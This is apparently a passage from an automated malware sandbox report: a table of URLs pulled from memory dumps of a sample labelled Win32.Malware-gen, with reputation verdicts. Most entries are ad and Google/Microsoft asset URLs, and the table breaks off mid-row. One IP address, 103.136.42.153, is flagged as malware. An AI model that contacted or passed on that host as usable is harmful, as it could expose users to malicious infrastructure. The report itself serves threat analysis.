SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502749747.0000000006651000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://img-prod-cms-rt-microsoft-com.akamaize	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.357253659.0000000004340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502019566.0000000005F18000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contextual.media.net/__media__/js/util/nrrV9140.js	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335542001.00000000052C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330096144.00000000052C0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335575472.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338218314.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498467638.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484048915.0000000005D60000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://www.google.com/chrome/static/images/chrome-logo.svg	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://www.google.com/chrome/static/images/homepage/homepage_features.png	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=5657692	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279645647.0000000004271000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279838375.0000000004278000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293538991.0000000004539000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280237180.00000000042B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331107259.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.419741274.0000000004687000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.447515827.0000000004581000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.423102370.0000000004689000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.407832897.0000000004517000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://mem.gfx.ms/me/MeControl/10.19168.0/en-US/meCore.min.js	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/chrome/static/images/download-browser/big_pixel_phone.png	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://www.google.com/chrome/	d.0.dr	false		high
https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCc13122162a9a46c3b4cbf05ffccde0f	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://s.yimg.com/lo/api/res/1.2/BXjlWewXmZ47HeV5NPvUYA--~A/Zmk9ZmlsbDt3PTYyMjtoPTM2ODthcHBpZD1nZW1	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293505220.0000000004520000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.387084568.0000000005C50000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.492992187.0000000005A28000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503716778.00000000065F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.449039407.0000000004707000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448987153.0000000004706000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://www.google.com/chrome/static/images/homepage/hero-anim-bottom-left.png	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
http://images.outbrainimg.com/transform/v3/eyJpdSI6ImE2Y2FkYjk5YjFhZTM3OGRiYjNlYjY3YzUxMTk0YzRkM2ViZ	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false	Avira URL Cloud: safe	unknown
https://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=7162084889081;g	d.0.dr	false		high
https://www.google.com/chrome/static/images/chrome_safari-behavior.jpg	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://maps.windows.com/windows-app-web-link	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.290448651.00000000044B0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.532907065.00000000065A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.426485012.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.436120185.0000000004761000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://cvision.media.net/new/286x175/2/79/227/59/931bcbc9-c308-445b-ac87-70a69b051455.jpg?v=9	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.357253659.0000000004340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502019566.0000000005F18000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
http://www.msn.com/?ocid=iehp	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338329323.0000000005170000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.294908943.0000000005118000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279645647.0000000004271000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331793874.0000000004270000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279838375.0000000004278000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.300396159.0000000004537000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.300482332.0000000004537000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331107259.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.294585730.0000000005111000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.501715599.0000000004680000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.494618814.0000000004598000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.419741274.0000000004687000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414899247.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.407832897.0000000004517000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCee0d4d5fd4424c8390d703b105f82c3	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.390846422.0000000006190000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.533340224.0000000006700000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
http://crl.pki.goog/GTS1O1core.crl0	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292001467.0000000004548000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346377524.0000000006111000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346020812.0000000006069000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346271776.0000000006151000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345668135.0000000006041000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345992040.0000000006089000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346927762.0000000005D31000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345595227.0000000006061000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345832377.00000000060D1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335394241.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.490296247.0000000005970000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504115052.0000000006709000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.490538864.0000000005A10000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488641316.0000000004690000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504736852.00000000068A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.493101538.0000000005A10000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.494321477.0000000004730000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503993904.0000000005C59000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.493492819.00000000059B0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.489236991.0000000005D98000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://static.chartbeat.com/js/chartbeat.js	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
http://103.136.42.153/	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.398060817.0000000003333000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/chrome/static/images/icon-announcement.svg	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ce_sharpen%2Ch_311%2Cw_207%2Cc_fill%	d.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/chrome/static/images/homepage/hero-anim-middle.png	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
http://images.outbrainimg.com/transform/v3/eyJpdSI6ImQ1Y2M3ZjUxNTk0ZjI1ZWI5NjQxNjllMjcxMDliYzA5MWY4N	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330038482.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.333295635.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338271728.0000000005151000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335649928.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335608702.00000000052A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484130863.0000000005D40000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498555676.0000000006569000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/chrome/static/css/main.v3.min.css	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
http://amplify-imp.outbrain.com/pixel?p=nlV1YHXXXKgnJTkmjxGkpD86h377hQIinq23IJiX9nqxEkupAtbFH4fSP0Iz	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329669701.0000000005367000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283288096.00000000043D0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293002558.0000000004611000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.416275468.0000000004551000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414231213.00000000045BF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414839653.00000000045BF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483636823.0000000005E00000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://www.google.com/chrome/application/x-msdownloadC:	d.0.dr	false		high
https://www.google.com/chrome/static/images/fallback/icon-file-download.jpg	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
http://cdn.adnxs.com/v/s/169/trk.js	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
http://s.amazon-adsystem.com/v3/pr?exlist=an&fv=1.0&a=cm&cm3ppd=1	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.294908943.0000000005118000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331793874.0000000004270000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.294585730.0000000005111000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.494618814.0000000004598000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414899247.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC5bdddb231cf54f958a5b6e76e9d8eee	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
http://b1-use2.zemanta.com/bidder/win/outbrainrtb/c333bcb0-98dc-11e9-8919-320929a4a620/0.564833/3F66	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329669701.0000000005367000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283288096.00000000043D0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293002558.0000000004611000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.416275468.0000000004551000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414231213.00000000045BF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414839653.00000000045BF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483636823.0000000005E00000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://p.rfihub.com/cm?in=1&pub=345&userid=3011883223893104794	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://www.google.com/chrome/static/images/download-browser/pixel_phone.png	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
http://pki.goog/gsr2/GTS1O1.crt0	d.0.dr	false	URL Reputation: safe	unknown
https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.294908943.0000000005118000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279645647.0000000004271000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335542001.00000000052C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331793874.0000000004270000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330096144.00000000052C0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335575472.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279838375.0000000004278000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293538991.0000000004539000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280237180.00000000042B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338218314.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345410283.0000000006079000.00000004.00000800.00020000.00000000.sdmp, 